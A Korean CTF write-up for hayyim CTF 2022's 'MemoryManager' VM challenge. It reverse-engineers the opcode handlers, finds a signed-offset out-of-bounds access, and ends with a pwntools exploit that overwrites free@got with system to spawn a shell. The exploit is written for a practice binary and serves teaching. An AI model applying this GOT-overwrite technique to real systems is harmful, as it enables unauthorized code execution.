CTF

(CTF) hayyim CTF 2022 writeup (MemoryManager)

snwo 2022. 2. 17. 02:15

대회 끝나고 풀어본 문제다.

MemoryManager

opcode 입력받아서 실행시켜주는 vm 문제.

bss 영역에 있는 stack 변수는 0x4060D8 영역을 가리키고,

data 변수는 0x4060E0 영역을 가리키고있다.

입력 사이즈 제한은 0x1000 이다.

void __fastcall sub_401F46(__int64 a1)
{
  __int64 v1; // [rsp+1Fh] [rbp-31h]

  v1 = (unsigned __int8)get_opcode(a1);
  if ( (unsigned __int8)v1 <= 8u )
    __asm { jmp     rax }
  if ( (unsigned __int8)v1 <= 9u )
    __asm { jmp     rax }
  exit(-1);
}

sub_0x401f46 에서 switch 문 두 개를 볼 수 있다.

get_opcode 함수에서는 ptr+a1→ip 에서 opcode 하나를 가져오고, a1→ip를 증가시킨다.

a1 레지스터를 나타내고, 구조는 다음과 같다.

struct a1 {
    __int64 RAX;
    __int64 RBX;
    __int64 RCX;
    __int64 RDX;
    __int64 RSI;
    __int64 RDI;
    __int64 RBP;
    __int64 RSP;
    __int64 ???1;
    __int64 ???2;
    __int64 RIP;
}

첫 번째 switch

opcode == 1,2,8

ptr+IP에서 WORD 로 참조해 값 하나를 가져오고 IP 를 2 증가시킨다.

근데 리턴값에서 1바이트만 rbp-0xb 에 저장한다.

opcode == 0,3

위와 똑같이 값을 가져오고,

rbp-0xb, rbp-0xa 에 1바이트씩 저장한다.

opcode == 4,5,6,7

마찬가지로 값을 3번 가져와서

rbp-0xb, rbp-0xa, rbp-0x9 에 1바이트씩 저장하고,

rbp-0xa 값을 인자로 sub_4015F5() 함수 호출한 뒤, 리턴값을 rbp-0x30 에 저장 (8byte)

이후 rbp-0x9 값을 인자로 sub_4015F5() 함수 호출하고, 리턴값을 rbp-0x28 에 저장 (8byte)

sub_4015F5

인자로 받은 값에 따라 분기한다.

0xF0 과 and 연산한 값에 따라 분기한다.

 

0x10 :

rsp!=rbp 이면 stack+rsp 에서 8바이트 가져와 리턴값으로 설정하고 rsp 8 증가.

→ 사실상 스택에서 oob read 하는건 불가능해보임

 

0x20 :

하위 4비트에 따라 ptr 에서 1,2,4,8 바이트를 가져와 v7 에 저장한다.

그리고 ptr 에서 1바이트 가져와 v5 에 저장한 뒤,

data+v7 에서 v5 에 따라 1,2,4,8 바이트 만큼 가져와 리턴.

→ 이 때 v7 이 signed 이므로, 0x4060E0 에서 calloc@got 의 주소 (0x405040) 까지 거리만큼 빼서 callog@got 주소를 리턴할 수 있다.

 

0x30 :

하위 4비트가 5 이하일 때,

*(&a1->rax+(a2&0xF)) 값을 리턴. ( 원하는 레지스터 값 )

0x40 :

하위 4비트에 따라 ptr 에서 1,2,4,8 바이트 만큼 가져와 리턴한다.


두 번째 switch

opcode == 0

sub_4013EB((struct_a1*)a1, [rbp-0xb], sub_4015F5((struct_a1)*a1,[rbp-0xa]))

sub_4013EB

마찬가지로 두 번째 인자와 0xF0 을 and 연산 한 값으로 분기

 

0x10 :

rsp 가 7 이하가 아니라면, rsp 를 8 감소시킨 후

stack+rsp 가 가리키는 곳에 a3 값 저장 (sub_4015F5 의 리턴값)

→ stack 범위 검사해서 oob 불가능할 듯.

 

0x20 :

하위 4비트에 따라 ptr 에서 1,2,4,8 바이트 가져와 v7 에 저장.

v7 은 unsigned __int64 자료형으로, 0x1000-8 보다 크면 exit

ptr 에서 1바이트 가져와 v6 에 저장하고,

data+v7 에서 v5 에 따라 1,2,4,8 바이트 만큼 가져와 리턴.

unsigned 로 범위검사해서 oob 불가능할 듯.

 

0x30 :

하위 4비트가 5 이하면,

*(&a1->rax+(a2&0xF)) = a3

원하는 레지스터 값을 a3 으로 덮을 수 있다. (rbp, rsp, rip 제외)

opcode == 3

4050AC 는 초기값이 -1 인 변수인데,

sub_4015F5() 함수를 분석할 떄 생략했는데,

a2 == 0x20 일 때 4050AC 가 0이 아니라면,

qword_4050D0[dword_4050AC] = v7;
qword_4050C0[dword_4050AC] = v5;

위 두 코드가 실행된다.

v7 은 data 에 더하는 변수였고, v5 는 몇바이트 가져올지 결정하는 1바이트였다.

다시 돌아와서 설명을 계속해보면,

4050AC = 0
[rbp-0x30] = sub_4015F5((struct_a1*)a1, [rbp-0xb])
4050AC = 1
[rbp-0x28] = sub_4015F5((struct_a1*)a1, [rbp-0xa])
sub_401909((struct_a1*)a1, [rbp-0xb], [rbp-0xa], [rbp-0x30], [rbp-0x28])

위와 같은 flow 로 진행이 된다.

sub_401909

v8[0] = [rbp-0xb]
v8[1] = [rbp-0xa]
v9[0] = [rbp-0x30]
v9[1] = [rbp-0x28]

이렇게 값을 넣고, 반복문이 i=0 부터 i=1 까지 두 번 실행된다.

v8[i]&0xf0 에 따라 switch-case 문이 실행된다.

 

0x10 :

rsp 가 8 이하면 종료, 아니면 8 감소시킨 뒤, stack+rsp 에 v9[i^1] 저장.

 

0x20 :

v7 에 qword_4050D0[i] 저장.

v8[i^1] &0xF0 == 0x20 이면, qword_4050C0[i^1] 의 하위 4바이트에 따라

data+v7 이 가리키는 주소에 v9[i^1] 을 1,2,4,8 바이트 만큼 저장.

0x20 이 아니면 8바이트만큼 저장.

 

0x30 :

v8[i] 가 5 이하라면,

원하는 레지스터 값에 v9[i^1] 저장.

opcode == 4,5,6,7

저장된 두 변수를 사칙연산으로 처리한 다음 sub_4013EB() 함수 호출.

5는 [rbp-0x30] 에서 [rbp-0x28] 을 뺀 뒤 sub_4013EB 함수를 호출하는데,

calloc 을 rax 에 저장하고, 빼서 system 함수 주소로 만들 떄 사용할거다.

opcode == 8

rbp-0xb 를 인자로 sub_401C16() 함수 호출

두 번째 인자와 0xF0 을 and 연산 한 값으로 분기

 

0x10 :

rsp, rbp, stack+rsp 값 출력 (8byte)

 

0x20 :

1,2,3,4 번째 비트가 설정되면 각각

ptr 에서 1,2,4,8 바이트를 가져와서 data+리턴값 을 1,2,48 바이트 출력해준다.

(ip 도 1,2,4,8 증가)

 

0x30 :

모든 레지스터 값을 출력해줌.


exploit

  1. opcode 0 → calloc@got 주소를 rax 에 저장
  2. opcode 5 → calloc 주소에서 system 함수 까지 거리를 빼서 rax 에 저장.
  3. opcode 3 → overwrite free@got → system
  4. opcode 9 → 리턴. main 함수에서 free 하는데, 이름을 /bin/sh 로 설정해 놨으면 system("/bin/sh") 가 실행되어 쉘이 따인다.

3번에 대해서 조금 더 설명을 하자면,

switch( v8[i]&0xf0 )
~~~
case 0x20:
        v7 = qword_4050D0[i];
        if ( (v8[i ^ 1] & 0xF0) == 0x20 )
        {
          switch ( qword_4050C0[i ^ 1] )
          {
            case 1LL:
              *(_BYTE *)(data + v7) = v9[i ^ 1];
              break;
            case 2LL:
              *(_WORD *)(data + v7) = v9[i ^ 1];
              break;
            case 4LL:
              *(_DWORD *)(data + v7) = v9[i ^ 1];
              break;
            case 8LL:
              *(_QWORD *)(v7 + data) = v9[i ^ 1];
              break;
          }
        }
                else
        {
          *(_QWORD *)(v7 + data) = v9[i ^ 1];
        }

sub_401909 에서 free@got 을 덮을 수 있는 부분이다.

"""
v8[0] = [rbp-0xb]
v8[1] = [rbp-0xa]
v9[0] = [rbp-0x30]
v9[1] = [rbp-0x28]
"""

v8[0]&0xF0 == 0x20
v8[1]&0xF0 == 0x20 && qword_4050C0[1] === 8
or v8[1] !=0x20
qword_4050D0[0] == "offset until free@got"
v9[1] == "system address"

위 조건대로 값을 채워넣어야 덮을 수 있다.

v8[0] 에 0x28 을 넣어서, qword_4050D0 에 free@got 까지 거리를 넣고

v8[1] 에 0x30 을 넣어 v9[1] 에 rax 에서 불러온 system 함수의 주소를 넣으면 된다.

다음 반복문이 실행됬을 땐,

v8[1] == 0x30 이므로 rax 에 v9[0] (free@got) 이 들어가는데, 별로 상관없당

페이로드로 구현하면 다음과 같다.

opcode+=p8(3)+p16(0x28)+p16(0x30)+p64(0xffffffffffffef38)+p8(0x8)

ex.py

from pwn import *

r=process("./MemoryManager")
context.log_level='debug'
b=ELF("./MemoryManager")
lib=b.libc
r.sendlineafter('> ', '/bin/sh\x00')
system_offset=3920496
opcode=p8(0)+p16(0x30)+p16(0x28)+p64(0xffffffffffffef60)+p8(0x8)
opcode+=p8(5)+p16(0x30)+p16(0x30)+p16(0x48)+p64(0x4ac20)
opcode+=p8(3)+p16(0x28)+p16(0x30)+p64(0xffffffffffffef38)+p8(0x8)
opcode+=p8(9)
# 4050d0[0] = offset of free@got
# 4050c0[0] = 0x8
# v8[0] = 0x28
# v8[1] = 0x30
# v9[0] = free@got
# v9[1] = system address

pause()
r.sendlineafter('> ', opcode)

r.interactive()